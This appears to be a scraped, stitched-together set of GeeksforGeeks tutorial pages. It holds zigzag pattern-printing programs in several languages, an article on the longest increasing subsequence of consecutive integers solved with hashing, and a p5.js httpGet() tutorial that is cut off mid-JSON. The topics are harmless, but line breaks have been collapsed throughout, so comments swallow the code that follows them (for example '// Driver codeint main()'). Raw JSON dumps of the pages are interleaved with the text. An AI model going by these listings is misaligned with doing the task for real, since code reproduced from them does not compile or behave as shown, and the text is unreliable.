// Java program to print the given// zigzag patternclass GFG{// Function to print the// zigzag patternstatic void printPattern(int n){ int var1, var = 1; for(int i = 1; i <= n; i++) { // for odd rows if(i % 2 != 0) { // calculate starting value var = var + i - 1; for(int j = 1; j <= i; j++) { if(j == 1) { System.out.print(var); } else System.out.print("*" + var); var++; } } else // for even rows { var1 = var + i -1; // calculate starting value for(int j = 1; j <= i; j++) { if(j == 1) { // print without star System.out.print(var1); } else { // print with star System.out.print("*" + var1); } var1--; } } System.out.print("\n"); } } // Driver codepublic static void main(String [] arg){ int n = 5; printPattern(n);}} // This code is contributed by Smitha
# Python3 program to print the given# zigzag pattern # Function to print the zigzag patterndef printPattern(n): var = 0 var = 1 for i in range(1, n + 1): # for odd rows if(i % 2 != 0): # calculate starting value var = var + i - 1 for j in range(1, i + 1): if(j == 1): print(var, end = "") else: print("*", end = "") print(var, end = "") var += 1 else: # for even rows var1 = var + i -1 # calculate starting value for j in range(1, i + 1): if(j == 1): # prwithout star print(var1, end = "") else: # prwith star print("*", end = "") print(var1, end = "") var1 -= 1 print() # Driver coden = 5 printPattern(n) # This code is contributed by Mohit kumar
// C# program to print the given// zigzag patternusing System;class GFG{// Function to print the// zigzag patternstatic void printPattern(int n){ int var1, var = 1; for(int i = 1; i <= n; i++) { // for odd rows if(i % 2 != 0) { // calculate starting value var = var + i - 1; for(int j = 1; j <= i; j++) { if(j == 1) { Console.Write(var); } else Console.Write("*" + var); var++; } } else // for even rows { var1 = var + i -1; // calculate starting value for(int j = 1; j <= i; j++) { if(j == 1) { // print without star Console.Write(var1); } else { // print with star Console.Write("*" + var1); } var1--; } } Console.Write("\n"); } } // Driver codepublic static void Main(){ int n = 5; printPattern(n);}} // This code is contributed// by Akanksha Rai(Abby_akku)
<?php// PHP program to print the given// zigzag pattern // Function to print the zigzag patternfunction printPattern($n){ $var1; $var = 1; for($i = 1; $i <= $n; $i++) { // for odd rows if($i % 2 != 0) { // calculate starting value $var = $var + $i - 1; for($j = 1; $j <= $i; $j++) { if($j == 1) { echo $var; } else echo "*" . $var; $var++; } } else // for even rows { // calculate starting value $var1 = $var + $i - 1; for($j = 1; $j <= $i; $j++) { if($j == 1) { // print without star echo $var1; } else { // print with star echo "*" . $var1; } $var1--; } } echo "\n"; } } // Driver code$n = 5; printPattern($n); // This code is contributed by Rajput-Ji?>
<script> // JavaScript program to print the given // zigzag pattern // Function to print the zigzag pattern function printPattern(n) { var var1, var2 = 1; for (var i = 1; i <= n; i++) { // for odd rows if (i % 2 != 0) { // calculate starting value var2 = var2 + i - 1; for (var j = 1; j <= i; j++) { if (j == 1) { document.write(var2); } else document.write("*" + var2); var2++; } } // for even rows else { var1 = var2 + i - 1; // calculate starting value for (var j = 1; j <= i; j++) { if (j == 1) { // print without star document.write(var1); } else { // print with star document.write("*" + var1); } var1--; } } document.write("<br>"); } } // Driver code var n = 5; printPattern(n); // This code is contributed by rdtank. </script>
1
3*2
4*5*6
10*9*8*7
11*12*13*14*15
Time Complexity: O(N^2)Auxiliary Space: O(1)
Smitha Dinesh Semwal
Akanksha_Rai
Rajput-Ji
mohit kumar 29
nidhi_biet
rdtank
pankajsharmagfg
pattern-printing
Technical Scripter 2018
Algorithms
Technical Scripter
pattern-printing
Algorithms
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
SDE SHEET - A Complete Guide for SDE Preparation
DSA Sheet by Love Babbar
Introduction to Algorithms
How to Start Learning DSA?
Recursive Practice Problems with Solutions
Difference between NP hard and NP complete problem
Converting Roman Numerals to Decimal lying between 1 to 3999
Quick Sort vs Merge Sort
Difference between Algorithm, Pseudocode and Program
Generate all permutation of a set in Python
|
[
{
"code": null,
"e": 25643,
"s": 25615,
"text": "\n11 Aug, 2021"
},
{
"code": null,
"e": 25784,
"s": 25643,
"text": "Given a number N denoting the number of rows. The task is to print the zigzag pattern with N rows as shown in the below examples.Examples: "
},
{
"code": null,
"e": 25940,
"s": 25784,
"text": "Input : N = 3 \nOutput : 1 \n 3*2 \n 4*5*6\n\nInput : N = 5\nOutput : 1 \n 3*2 \n 4*5*6 \n 10*9*8*7 \n 11*12*13*14*15"
},
{
"code": null,
"e": 25954,
"s": 25942,
"text": "Approach: "
},
{
"code": null,
"e": 26309,
"s": 25954,
"text": "Use a for loop for printing the number of rows.Use two variables var and var1 for odd and even rows respectively.When the row number is odd, calculate starting point of the row and then print and increment the variable simultaneously.When the row number is even, calculate corresponding starting point and print and decrement the variable simultaneously."
},
{
"code": null,
"e": 26357,
"s": 26309,
"text": "Use a for loop for printing the number of rows."
},
{
"code": null,
"e": 26424,
"s": 26357,
"text": "Use two variables var and var1 for odd and even rows respectively."
},
{
"code": null,
"e": 26546,
"s": 26424,
"text": "When the row number is odd, calculate starting point of the row and then print and increment the variable simultaneously."
},
{
"code": null,
"e": 26667,
"s": 26546,
"text": "When the row number is even, calculate corresponding starting point and print and decrement the variable simultaneously."
},
{
"code": null,
"e": 26720,
"s": 26667,
"text": "Below is the implementation of the above approach: "
},
{
"code": null,
"e": 26724,
"s": 26720,
"text": "C++"
},
{
"code": null,
"e": 26729,
"s": 26724,
"text": "Java"
},
{
"code": null,
"e": 26737,
"s": 26729,
"text": "Python3"
},
{
"code": null,
"e": 26740,
"s": 26737,
"text": "C#"
},
{
"code": null,
"e": 26744,
"s": 26740,
"text": "PHP"
},
{
"code": null,
"e": 26755,
"s": 26744,
"text": "Javascript"
},
{
"code": "// CPP program to print the given// zigzag pattern #include<iostream>using namespace std; // Function to print the zigzag patternvoid printPattern(int n){ int var1, var = 1; for(int i = 1; i <= n; i++) { // for odd rows if(i%2!=0) { // calculate starting value var = var + i - 1; for(int j=1; j<=i; j++) { if(j==1) { cout<<var; } else cout<<\"*\"<<var; var++; } } else // for even rows { var1 = var + i -1; // calculate starting value for(int j=1; j<=i; j++) { if(j==1) { // print without star cout<<var1; } else { // print with star cout<<\"*\"<<var1; } var1--; } } cout<<endl; } } // Driver codeint main(){ int n = 5; printPattern(n); return 0;} ",
"e": 27924,
"s": 26755,
"text": null
},
{
"code": "// Java program to print the given// zigzag patternclass GFG{// Function to print the// zigzag patternstatic void printPattern(int n){ int var1, var = 1; for(int i = 1; i <= n; i++) { // for odd rows if(i % 2 != 0) { // calculate starting value var = var + i - 1; for(int j = 1; j <= i; j++) { if(j == 1) { System.out.print(var); } else System.out.print(\"*\" + var); var++; } } else // for even rows { var1 = var + i -1; // calculate starting value for(int j = 1; j <= i; j++) { if(j == 1) { // print without star System.out.print(var1); } else { // print with star System.out.print(\"*\" + var1); } var1--; } } System.out.print(\"\\n\"); } } // Driver codepublic static void main(String [] arg){ int n = 5; printPattern(n);}} // This code is contributed by Smitha",
"e": 29181,
"s": 27924,
"text": null
},
{
"code": "# Python3 program to print the given# zigzag pattern # Function to print the zigzag patterndef printPattern(n): var = 0 var = 1 for i in range(1, n + 1): # for odd rows if(i % 2 != 0): # calculate starting value var = var + i - 1 for j in range(1, i + 1): if(j == 1): print(var, end = \"\") else: print(\"*\", end = \"\") print(var, end = \"\") var += 1 else: # for even rows var1 = var + i -1 # calculate starting value for j in range(1, i + 1): if(j == 1): # prwithout star print(var1, end = \"\") else: # prwith star print(\"*\", end = \"\") print(var1, end = \"\") var1 -= 1 print() # Driver coden = 5 printPattern(n) # This code is contributed by Mohit kumar",
"e": 30375,
"s": 29181,
"text": null
},
{
"code": "// C# program to print the given// zigzag patternusing System;class GFG{// Function to print the// zigzag patternstatic void printPattern(int n){ int var1, var = 1; for(int i = 1; i <= n; i++) { // for odd rows if(i % 2 != 0) { // calculate starting value var = var + i - 1; for(int j = 1; j <= i; j++) { if(j == 1) { Console.Write(var); } else Console.Write(\"*\" + var); var++; } } else // for even rows { var1 = var + i -1; // calculate starting value for(int j = 1; j <= i; j++) { if(j == 1) { // print without star Console.Write(var1); } else { // print with star Console.Write(\"*\" + var1); } var1--; } } Console.Write(\"\\n\"); } } // Driver codepublic static void Main(){ int n = 5; printPattern(n);}} // This code is contributed// by Akanksha Rai(Abby_akku)",
"e": 31638,
"s": 30375,
"text": null
},
{
"code": "<?php// PHP program to print the given// zigzag pattern // Function to print the zigzag patternfunction printPattern($n){ $var1; $var = 1; for($i = 1; $i <= $n; $i++) { // for odd rows if($i % 2 != 0) { // calculate starting value $var = $var + $i - 1; for($j = 1; $j <= $i; $j++) { if($j == 1) { echo $var; } else echo \"*\" . $var; $var++; } } else // for even rows { // calculate starting value $var1 = $var + $i - 1; for($j = 1; $j <= $i; $j++) { if($j == 1) { // print without star echo $var1; } else { // print with star echo \"*\" . $var1; } $var1--; } } echo \"\\n\"; } } // Driver code$n = 5; printPattern($n); // This code is contributed by Rajput-Ji?>",
"e": 32800,
"s": 31638,
"text": null
},
{
"code": "<script> // JavaScript program to print the given // zigzag pattern // Function to print the zigzag pattern function printPattern(n) { var var1, var2 = 1; for (var i = 1; i <= n; i++) { // for odd rows if (i % 2 != 0) { // calculate starting value var2 = var2 + i - 1; for (var j = 1; j <= i; j++) { if (j == 1) { document.write(var2); } else document.write(\"*\" + var2); var2++; } } // for even rows else { var1 = var2 + i - 1; // calculate starting value for (var j = 1; j <= i; j++) { if (j == 1) { // print without star document.write(var1); } else { // print with star document.write(\"*\" + var1); } var1--; } } document.write(\"<br>\"); } } // Driver code var n = 5; printPattern(n); // This code is contributed by rdtank. </script>",
"e": 34097,
"s": 32800,
"text": null
},
{
"code": null,
"e": 34133,
"s": 34097,
"text": "1\n3*2\n4*5*6\n10*9*8*7\n11*12*13*14*15"
},
{
"code": null,
"e": 34181,
"s": 34135,
"text": "Time Complexity: O(N^2)Auxiliary Space: O(1) "
},
{
"code": null,
"e": 34202,
"s": 34181,
"text": "Smitha Dinesh Semwal"
},
{
"code": null,
"e": 34215,
"s": 34202,
"text": "Akanksha_Rai"
},
{
"code": null,
"e": 34225,
"s": 34215,
"text": "Rajput-Ji"
},
{
"code": null,
"e": 34240,
"s": 34225,
"text": "mohit kumar 29"
},
{
"code": null,
"e": 34251,
"s": 34240,
"text": "nidhi_biet"
},
{
"code": null,
"e": 34258,
"s": 34251,
"text": "rdtank"
},
{
"code": null,
"e": 34274,
"s": 34258,
"text": "pankajsharmagfg"
},
{
"code": null,
"e": 34291,
"s": 34274,
"text": "pattern-printing"
},
{
"code": null,
"e": 34315,
"s": 34291,
"text": "Technical Scripter 2018"
},
{
"code": null,
"e": 34326,
"s": 34315,
"text": "Algorithms"
},
{
"code": null,
"e": 34345,
"s": 34326,
"text": "Technical Scripter"
},
{
"code": null,
"e": 34362,
"s": 34345,
"text": "pattern-printing"
},
{
"code": null,
"e": 34373,
"s": 34362,
"text": "Algorithms"
},
{
"code": null,
"e": 34471,
"s": 34373,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 34520,
"s": 34471,
"text": "SDE SHEET - A Complete Guide for SDE Preparation"
},
{
"code": null,
"e": 34545,
"s": 34520,
"text": "DSA Sheet by Love Babbar"
},
{
"code": null,
"e": 34572,
"s": 34545,
"text": "Introduction to Algorithms"
},
{
"code": null,
"e": 34599,
"s": 34572,
"text": "How to Start Learning DSA?"
},
{
"code": null,
"e": 34642,
"s": 34599,
"text": "Recursive Practice Problems with Solutions"
},
{
"code": null,
"e": 34693,
"s": 34642,
"text": "Difference between NP hard and NP complete problem"
},
{
"code": null,
"e": 34754,
"s": 34693,
"text": "Converting Roman Numerals to Decimal lying between 1 to 3999"
},
{
"code": null,
"e": 34779,
"s": 34754,
"text": "Quick Sort vs Merge Sort"
},
{
"code": null,
"e": 34832,
"s": 34779,
"text": "Difference between Algorithm, Pseudocode and Program"
}
] |
Largest increasing subsequence of consecutive integers - GeeksforGeeks
|
22 Jun, 2021
Given an array of n positive integers. We need to find the largest increasing sequence of consecutive positive integers.Examples:
Input : arr[] = {5, 7, 6, 7, 8}
Output : Size of LIS = 4
LIS = 5, 6, 7, 8
Input : arr[] = {5, 7, 8, 7, 5}
Output : Size of LIS = 2
LIS = 7, 8
This problem can be solved easily by the concept of LIS where each next greater element differ from earlier one by 1. But this will take O(n^2) time complexity.With the use of hashing we can finding the size of longest increasing sequence with consecutive integers in time complexity of O(n).We create a hash table.. Now for each element arr[i], we perform hash[arr[i]] = hash[arr[i] – 1] + 1. So, for every element we know longest consecutive increasing subsequence ending with it. Finally we return maximum value from hash table.
C++
Java
Python3
C#
Javascript
// C++ implementation of longest continuous increasing// subsequence#include <bits/stdc++.h>using namespace std; // Function for LISint findLIS(int A[], int n){ unordered_map<int, int> hash; // Initialize result int LIS_size = 1; int LIS_index = 0; hash[A[0]] = 1; // iterate through array and find // end index of LIS and its Size for (int i = 1; i < n; i++) { hash[A[i]] = hash[A[i] - 1] + 1; if (LIS_size < hash[A[i]]) { LIS_size = hash[A[i]]; LIS_index = A[i]; } } // print LIS size cout << "LIS_size = " << LIS_size << "\n"; // print LIS after setting start element cout << "LIS : "; int start = LIS_index - LIS_size + 1; while (start <= LIS_index) { cout << start << " "; start++; }} // driverint main(){ int A[] = { 2, 5, 3, 7, 4, 8, 5, 13, 6 }; int n = sizeof(A) / sizeof(A[0]); findLIS(A, n); return 0;}
// Java implementation of longest continuous increasing// subsequenceimport java.util.*; class GFG{ // Function for LISstatic void findLIS(int A[], int n){ Map<Integer, Integer> hash = new HashMap<Integer, Integer>(); // Initialize result int LIS_size = 1; int LIS_index = 0; hash.put(A[0], 1); // iterate through array and find // end index of LIS and its Size for (int i = 1; i < n; i++) { hash.put(A[i], hash.get(A[i] - 1)==null? 1:hash.get(A[i] - 1)+1); if (LIS_size < hash.get(A[i])) { LIS_size = hash.get(A[i]); LIS_index = A[i]; } } // print LIS size System.out.println("LIS_size = " + LIS_size); // print LIS after setting start element System.out.print("LIS : "); int start = LIS_index - LIS_size + 1; while (start <= LIS_index) { System.out.print(start + " "); start++; }} // Driver codepublic static void main(String[] args){ int A[] = { 2, 5, 3, 7, 4, 8, 5, 13, 6 }; int n = A.length; findLIS(A, n);}} // This code is contributed by Princi Singh
# Python3 implementation of longest# continuous increasing subsequence # Function for LISdef findLIS(A, n): hash = dict() # Initialize result LIS_size, LIS_index = 1, 0 hash[A[0]] = 1 # iterate through array and find # end index of LIS and its Size for i in range(1, n): # If the desired key is not present # in dictionary, it will throw key error, # to avoid this error this is necessary if A[i] - 1 not in hash: hash[A[i] - 1] = 0 hash[A[i]] = hash[A[i] - 1] + 1 if LIS_size < hash[A[i]]: LIS_size = hash[A[i]] LIS_index = A[i] # print LIS size print("LIS_size =", LIS_size) # print LIS after setting start element print("LIS : ", end = "") start = LIS_index - LIS_size + 1 while start <= LIS_index: print(start, end = " ") start += 1 # Driver Codeif __name__ == "__main__": A = [ 2, 5, 3, 7, 4, 8, 5, 13, 6 ] n = len(A) findLIS(A, n) # This code is contributed by sanjeev2552
// C# implementation of longest continuous increasing// subsequenceusing System;using System.Collections.Generic; class GFG{ // Function for LISstatic void findLIS(int []A, int n){ Dictionary<int,int> hash = new Dictionary<int,int>(); // Initialize result int LIS_size = 1; int LIS_index = 0; hash.Add(A[0], 1); // iterate through array and find // end index of LIS and its Size for (int i = 1; i < n; i++) { if(hash.ContainsKey(A[i]-1)) { var val = hash[A[i]-1]; hash.Remove(A[i]); hash.Add(A[i], val + 1); } else { hash.Add(A[i], 1); } if (LIS_size < hash[A[i]]) { LIS_size = hash[A[i]]; LIS_index = A[i]; } } // print LIS size Console.WriteLine("LIS_size = " + LIS_size); // print LIS after setting start element Console.Write("LIS : "); int start = LIS_index - LIS_size + 1; while (start <= LIS_index) { Console.Write(start + " "); start++; }} // Driver codepublic static void Main(String[] args){ int []A = { 2, 5, 3, 7, 4, 8, 5, 13, 6 }; int n = A.Length; findLIS(A, n);}} // This code is contributed by 29AjayKumar
<script> // JavaScript implementation of longest continuous increasing// subsequence // Function for LISfunction findLIS(A, n) { let hash = new Map(); // Initialize result let LIS_size = 1; let LIS_index = 0; hash.set(A[0], 1); // iterate through array and find // end index of LIS and its Size for (let i = 1; i < n; i++) { hash.set(A[i], hash.get(A[i] - 1) == null ? 1 : hash.get(A[i] - 1) + 1); if (LIS_size < hash.get(A[i])) { LIS_size = hash.get(A[i]); LIS_index = A[i]; } } // print LIS size document.write("LIS_size = " + LIS_size + "<br>"); // print LIS after setting start element document.write("LIS : "); let start = LIS_index - LIS_size + 1; while (start <= LIS_index) { document.write(start + " "); start++; }} // Driver code let A = [2, 5, 3, 7, 4, 8, 5, 13, 6];let n = A.length;findLIS(A, n); // This code is contributed by gfgking </script>
LIS_size = 5
LIS : 2 3 4 5 6
sanjeev2552
princi singh
29AjayKumar
gfgking
cpp-unordered_map
LIS
Arrays
Hash
Arrays
Hash
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Maximum and minimum of an array using minimum number of comparisons
Top 50 Array Coding Problems for Interviews
Stack Data Structure (Introduction and Program)
Introduction to Arrays
Multidimensional Arrays in Java
Given an array A[] and a number x, check for pair in A[] with sum as x (aka Two Sum)
Internal Working of HashMap in Java
Count pairs with given sum
Hashing | Set 1 (Introduction)
Hashing | Set 3 (Open Addressing)
|
[
{
"code": null,
"e": 26349,
"s": 26321,
"text": "\n22 Jun, 2021"
},
{
"code": null,
"e": 26481,
"s": 26349,
"text": "Given an array of n positive integers. We need to find the largest increasing sequence of consecutive positive integers.Examples: "
},
{
"code": null,
"e": 26644,
"s": 26481,
"text": "Input : arr[] = {5, 7, 6, 7, 8} \nOutput : Size of LIS = 4\n LIS = 5, 6, 7, 8\n\nInput : arr[] = {5, 7, 8, 7, 5} \nOutput : Size of LIS = 2\n LIS = 7, 8"
},
{
"code": null,
"e": 27179,
"s": 26646,
"text": "This problem can be solved easily by the concept of LIS where each next greater element differ from earlier one by 1. But this will take O(n^2) time complexity.With the use of hashing we can finding the size of longest increasing sequence with consecutive integers in time complexity of O(n).We create a hash table.. Now for each element arr[i], we perform hash[arr[i]] = hash[arr[i] – 1] + 1. So, for every element we know longest consecutive increasing subsequence ending with it. Finally we return maximum value from hash table. "
},
{
"code": null,
"e": 27183,
"s": 27179,
"text": "C++"
},
{
"code": null,
"e": 27188,
"s": 27183,
"text": "Java"
},
{
"code": null,
"e": 27196,
"s": 27188,
"text": "Python3"
},
{
"code": null,
"e": 27199,
"s": 27196,
"text": "C#"
},
{
"code": null,
"e": 27210,
"s": 27199,
"text": "Javascript"
},
{
"code": "// C++ implementation of longest continuous increasing// subsequence#include <bits/stdc++.h>using namespace std; // Function for LISint findLIS(int A[], int n){ unordered_map<int, int> hash; // Initialize result int LIS_size = 1; int LIS_index = 0; hash[A[0]] = 1; // iterate through array and find // end index of LIS and its Size for (int i = 1; i < n; i++) { hash[A[i]] = hash[A[i] - 1] + 1; if (LIS_size < hash[A[i]]) { LIS_size = hash[A[i]]; LIS_index = A[i]; } } // print LIS size cout << \"LIS_size = \" << LIS_size << \"\\n\"; // print LIS after setting start element cout << \"LIS : \"; int start = LIS_index - LIS_size + 1; while (start <= LIS_index) { cout << start << \" \"; start++; }} // driverint main(){ int A[] = { 2, 5, 3, 7, 4, 8, 5, 13, 6 }; int n = sizeof(A) / sizeof(A[0]); findLIS(A, n); return 0;}",
"e": 28145,
"s": 27210,
"text": null
},
{
"code": "// Java implementation of longest continuous increasing// subsequenceimport java.util.*; class GFG{ // Function for LISstatic void findLIS(int A[], int n){ Map<Integer, Integer> hash = new HashMap<Integer, Integer>(); // Initialize result int LIS_size = 1; int LIS_index = 0; hash.put(A[0], 1); // iterate through array and find // end index of LIS and its Size for (int i = 1; i < n; i++) { hash.put(A[i], hash.get(A[i] - 1)==null? 1:hash.get(A[i] - 1)+1); if (LIS_size < hash.get(A[i])) { LIS_size = hash.get(A[i]); LIS_index = A[i]; } } // print LIS size System.out.println(\"LIS_size = \" + LIS_size); // print LIS after setting start element System.out.print(\"LIS : \"); int start = LIS_index - LIS_size + 1; while (start <= LIS_index) { System.out.print(start + \" \"); start++; }} // Driver codepublic static void main(String[] args){ int A[] = { 2, 5, 3, 7, 4, 8, 5, 13, 6 }; int n = A.length; findLIS(A, n);}} // This code is contributed by Princi Singh",
"e": 29234,
"s": 28145,
"text": null
},
{
"code": "# Python3 implementation of longest# continuous increasing subsequence # Function for LISdef findLIS(A, n): hash = dict() # Initialize result LIS_size, LIS_index = 1, 0 hash[A[0]] = 1 # iterate through array and find # end index of LIS and its Size for i in range(1, n): # If the desired key is not present # in dictionary, it will throw key error, # to avoid this error this is necessary if A[i] - 1 not in hash: hash[A[i] - 1] = 0 hash[A[i]] = hash[A[i] - 1] + 1 if LIS_size < hash[A[i]]: LIS_size = hash[A[i]] LIS_index = A[i] # print LIS size print(\"LIS_size =\", LIS_size) # print LIS after setting start element print(\"LIS : \", end = \"\") start = LIS_index - LIS_size + 1 while start <= LIS_index: print(start, end = \" \") start += 1 # Driver Codeif __name__ == \"__main__\": A = [ 2, 5, 3, 7, 4, 8, 5, 13, 6 ] n = len(A) findLIS(A, n) # This code is contributed by sanjeev2552",
"e": 30262,
"s": 29234,
"text": null
},
{
"code": "// C# implementation of longest continuous increasing// subsequenceusing System;using System.Collections.Generic; class GFG{ // Function for LISstatic void findLIS(int []A, int n){ Dictionary<int,int> hash = new Dictionary<int,int>(); // Initialize result int LIS_size = 1; int LIS_index = 0; hash.Add(A[0], 1); // iterate through array and find // end index of LIS and its Size for (int i = 1; i < n; i++) { if(hash.ContainsKey(A[i]-1)) { var val = hash[A[i]-1]; hash.Remove(A[i]); hash.Add(A[i], val + 1); } else { hash.Add(A[i], 1); } if (LIS_size < hash[A[i]]) { LIS_size = hash[A[i]]; LIS_index = A[i]; } } // print LIS size Console.WriteLine(\"LIS_size = \" + LIS_size); // print LIS after setting start element Console.Write(\"LIS : \"); int start = LIS_index - LIS_size + 1; while (start <= LIS_index) { Console.Write(start + \" \"); start++; }} // Driver codepublic static void Main(String[] args){ int []A = { 2, 5, 3, 7, 4, 8, 5, 13, 6 }; int n = A.Length; findLIS(A, n);}} // This code is contributed by 29AjayKumar",
"e": 31499,
"s": 30262,
"text": null
},
{
"code": "<script> // JavaScript implementation of longest continuous increasing// subsequence // Function for LISfunction findLIS(A, n) { let hash = new Map(); // Initialize result let LIS_size = 1; let LIS_index = 0; hash.set(A[0], 1); // iterate through array and find // end index of LIS and its Size for (let i = 1; i < n; i++) { hash.set(A[i], hash.get(A[i] - 1) == null ? 1 : hash.get(A[i] - 1) + 1); if (LIS_size < hash.get(A[i])) { LIS_size = hash.get(A[i]); LIS_index = A[i]; } } // print LIS size document.write(\"LIS_size = \" + LIS_size + \"<br>\"); // print LIS after setting start element document.write(\"LIS : \"); let start = LIS_index - LIS_size + 1; while (start <= LIS_index) { document.write(start + \" \"); start++; }} // Driver code let A = [2, 5, 3, 7, 4, 8, 5, 13, 6];let n = A.length;findLIS(A, n); // This code is contributed by gfgking </script>",
"e": 32473,
"s": 31499,
"text": null
},
{
"code": null,
"e": 32503,
"s": 32473,
"text": "LIS_size = 5\nLIS : 2 3 4 5 6 "
},
{
"code": null,
"e": 32517,
"s": 32505,
"text": "sanjeev2552"
},
{
"code": null,
"e": 32530,
"s": 32517,
"text": "princi singh"
},
{
"code": null,
"e": 32542,
"s": 32530,
"text": "29AjayKumar"
},
{
"code": null,
"e": 32550,
"s": 32542,
"text": "gfgking"
},
{
"code": null,
"e": 32568,
"s": 32550,
"text": "cpp-unordered_map"
},
{
"code": null,
"e": 32572,
"s": 32568,
"text": "LIS"
},
{
"code": null,
"e": 32579,
"s": 32572,
"text": "Arrays"
},
{
"code": null,
"e": 32584,
"s": 32579,
"text": "Hash"
},
{
"code": null,
"e": 32591,
"s": 32584,
"text": "Arrays"
},
{
"code": null,
"e": 32596,
"s": 32591,
"text": "Hash"
},
{
"code": null,
"e": 32694,
"s": 32596,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 32762,
"s": 32694,
"text": "Maximum and minimum of an array using minimum number of comparisons"
},
{
"code": null,
"e": 32806,
"s": 32762,
"text": "Top 50 Array Coding Problems for Interviews"
},
{
"code": null,
"e": 32854,
"s": 32806,
"text": "Stack Data Structure (Introduction and Program)"
},
{
"code": null,
"e": 32877,
"s": 32854,
"text": "Introduction to Arrays"
},
{
"code": null,
"e": 32909,
"s": 32877,
"text": "Multidimensional Arrays in Java"
},
{
"code": null,
"e": 32994,
"s": 32909,
"text": "Given an array A[] and a number x, check for pair in A[] with sum as x (aka Two Sum)"
},
{
"code": null,
"e": 33030,
"s": 32994,
"text": "Internal Working of HashMap in Java"
},
{
"code": null,
"e": 33057,
"s": 33030,
"text": "Count pairs with given sum"
},
{
"code": null,
"e": 33088,
"s": 33057,
"text": "Hashing | Set 1 (Introduction)"
}
] |
p5.js | httpGet() Function - GeeksforGeeks
|
13 Dec, 2021
The httpGet() function in p5.js is used to execute an HTTP GET request. The datatype returned is automatically guessed by p5 based on the URL, when it is not specified.The data could be loaded in the preload() function so that it can be accessed immediately in the program.Syntax:
httpGet( path, [datatype], [data], [callback], [errorCallback] )
OR
httpGet( path, data, [callback], [errorCallback] )
OR
httpGet( path, callback, [errorCallback] )
Parameters: This function accepts five parameters as mentioned above and described below.
path: It is a string that denotes the path of the URL or file to load.
datatype: It is a string that specifies the type of data that will be received. It can have the values of “json”, “jsonp”, “binary”, “arrayBuffer”, “xml”, or “text”. Using the ‘binary’ datatype will return a Blob object and using ‘arrayBuffer’ will return a typed array. It will default to ‘text’ is no parameter is specified. It is an optional parameter.
data: It is an Object or a Boolean value that specifies the parameter data passed with the request.
callback: It is a function which is called when this function executes successfully. The first argument for this function is the data returned from the API. It is an optional parameter.
errorCallback: It is a function which is called if there is any error in executing the function. The first argument for this function is the error response. It is an optional parameter.
Return Value: It returns a promise that can be resolved with the data when the operation completes successfully, or be rejected when an error takes place.Below examples illustrate the httpGet() function in p5.js:Example 1:
javascript
let user_data; function preload() { // Get a random user from the test API let api_url = 'https://reqres.in/api/users/' + int(random(1, 10)); httpGet(api_url, 'json', false, function (response) { user_data = response; }); // Log the received data to console console.log(user_data);} function setup() { createCanvas(550, 200); textSize(18);} function draw() { clear(); if (!user_data) return; text("Data fetched from API, can be viewed " + "in console", 20, 60); text("The First Name in the data is: " + user_data.data.first_name, 20, 100); text("The Last Name in the data is: " + user_data.data.last_name, 20, 120); text("The Email in the data is: " + user_data.data.email, 20, 140);}
Output:
Example 2:
javascript
function setup() { createCanvas(550, 200); textSize(18); // Get a random user from the test API let api_url = 'https://reqres.in/api/users/' + int(random(1, 10)); httpGet(api_url, 'json', false, onSuccessfulFetch, onErrorFetch);} function onSuccessfulFetch(response) { text("Data successfully fetched from API, " + "can be viewed in console", 20, 60); text("The First Name in the data is: " + response.data.first_name, 20, 100); text("The Last Name in the data is: " + response.data.last_name, 20, 120); text("The Email in the data is: " + response.data.email, 20, 140);} function onErrorFetch() { text("There was an error fetching the data.", 20, 60);}
Output:
Online editor: https://editor.p5js.org/Environment Setup: https://www.geeksforgeeks.org/p5-js-soundfile-object-installation-and-methods/Reference: https://p5js.org/reference/#/p5/httpGet
sagartomar9927
JavaScript-p5.js
JavaScript
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Remove elements from a JavaScript Array
Difference between var, let and const keywords in JavaScript
Difference Between PUT and PATCH Request
JavaScript | Promises
How to get character array from string in JavaScript?
Remove elements from a JavaScript Array
Installation of Node.js on Linux
How to fetch data from an API in ReactJS ?
How to insert spaces/tabs in text using HTML/CSS?
Difference between var, let and const keywords in JavaScript
|
[
{
"code": null,
"e": 26627,
"s": 26599,
"text": "\n13 Dec, 2021"
},
{
"code": null,
"e": 26909,
"s": 26627,
"text": "The httpGet() function in p5.js is used to execute an HTTP GET request. The datatype returned is automatically guessed by p5 based on the URL, when it is not specified.The data could be loaded in the preload() function so that it can be accessed immediately in the program.Syntax: "
},
{
"code": null,
"e": 26974,
"s": 26909,
"text": "httpGet( path, [datatype], [data], [callback], [errorCallback] )"
},
{
"code": null,
"e": 26979,
"s": 26974,
"text": "OR "
},
{
"code": null,
"e": 27030,
"s": 26979,
"text": "httpGet( path, data, [callback], [errorCallback] )"
},
{
"code": null,
"e": 27035,
"s": 27030,
"text": "OR "
},
{
"code": null,
"e": 27078,
"s": 27035,
"text": "httpGet( path, callback, [errorCallback] )"
},
{
"code": null,
"e": 27170,
"s": 27078,
"text": "Parameters: This function accepts five parameters as mentioned above and described below. "
},
{
"code": null,
"e": 27241,
"s": 27170,
"text": "path: It is a string that denotes the path of the URL or file to load."
},
{
"code": null,
"e": 27597,
"s": 27241,
"text": "datatype: It is a string that specifies the type of data that will be received. It can have the values of “json”, “jsonp”, “binary”, “arrayBuffer”, “xml”, or “text”. Using the ‘binary’ datatype will return a Blob object and using ‘arrayBuffer’ will return a typed array. It will default to ‘text’ is no parameter is specified. It is an optional parameter."
},
{
"code": null,
"e": 27697,
"s": 27597,
"text": "data: It is an Object or a Boolean value that specifies the parameter data passed with the request."
},
{
"code": null,
"e": 27883,
"s": 27697,
"text": "callback: It is a function which is called when this function executes successfully. The first argument for this function is the data returned from the API. It is an optional parameter."
},
{
"code": null,
"e": 28069,
"s": 27883,
"text": "errorCallback: It is a function which is called if there is any error in executing the function. The first argument for this function is the error response. It is an optional parameter."
},
{
"code": null,
"e": 28294,
"s": 28069,
"text": "Return Value: It returns a promise that can be resolved with the data when the operation completes successfully, or be rejected when an error takes place.Below examples illustrate the httpGet() function in p5.js:Example 1: "
},
{
"code": null,
"e": 28305,
"s": 28294,
"text": "javascript"
},
{
